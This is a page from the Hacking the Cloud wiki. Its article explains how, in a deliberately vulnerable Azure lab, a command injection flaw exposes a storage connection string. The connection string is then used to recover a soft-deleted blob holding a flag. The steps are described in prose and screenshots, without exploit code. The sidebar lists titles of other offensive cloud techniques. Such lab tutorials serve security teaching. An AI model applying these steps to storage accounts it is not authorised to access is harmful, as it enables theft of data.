for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Soft Deleted Blobs </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-soft-deleted-blobs class=md-nav__link> <span class=md-ellipsis> Exploiting Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-soft-deleted-blobs class=md-nav__link> <span class=md-ellipsis> Exploiting Soft Deleted Blobs </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by andrei8055</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/soft-deleted-blobs.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Soft Deleted Blobs</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://0xpwn.wordpress.com/2022/03/09/create-an-azure-vulnerable-lab-part-3-soft-deleted-blobs/ >0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 – Soft Deleted Blobs</a> by <a href=https://tripla.dk/author/drag0nus/ >Andrei Agape</a></p> </li> </ul> </div> <p>In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:</p> <ul> <li>A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.</li> <li>A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.</li> <li>Managed Identities</li> </ul> <p>For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-4.webp data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Storage Account Keys" src=../../images/azure/soft-deleted-blobs/image-4.webp></a></p> <p>Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.</p> <p>The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”. </p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-5.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Soft Deleted Blob" src=../../images/azure/soft-deleted-blobs/image-5.png></a></p> <h2 id=exploiting-soft-deleted-blobs>Exploiting Soft Deleted Blobs<a class=headerlink href=#exploiting-soft-deleted-blobs title="Permanent link">&para;</a></h2> <p>Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-6.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Files src=../../images/azure/soft-deleted-blobs/image-6.png></a></p> <p>Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-7.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Source code" src=../../images/azure/soft-deleted-blobs/image-7.png></a></p> <p>Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-8.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Storage Account explorer" src=../../images/azure/soft-deleted-blobs/image-8.png></a></p> <p>And that we want to use a Connection String</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-9.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Connection String" src=../../images/azure/soft-deleted-blobs/image-9.png></a></p> <p>And we paste the value of the conn_str variable that we found in the source code, and connect:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-10.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Connection info" src=../../images/azure/soft-deleted-blobs/image-10.png></a></p> <p>On the left side menu, a new storage account should show up. Navigate to the Blob Containers -&gt; images and open it:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-11.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Container src=../../images/azure/soft-deleted-blobs/image-11.png></a></p> <p>At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-12.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Files src=../../images/azure/soft-deleted-blobs/image-12.png></a></p> <p>And voila! Right click -&gt; Undelete</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-13.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Flag src=../../images/azure/soft-deleted-blobs/image-13.png></a></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">March 7, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">March 17, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/andrei8055 class=md-author title=@andrei8055> <img src="https://avatars.githubusercontent.com/u/5831889?v=4&size=72" alt=andrei8055> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 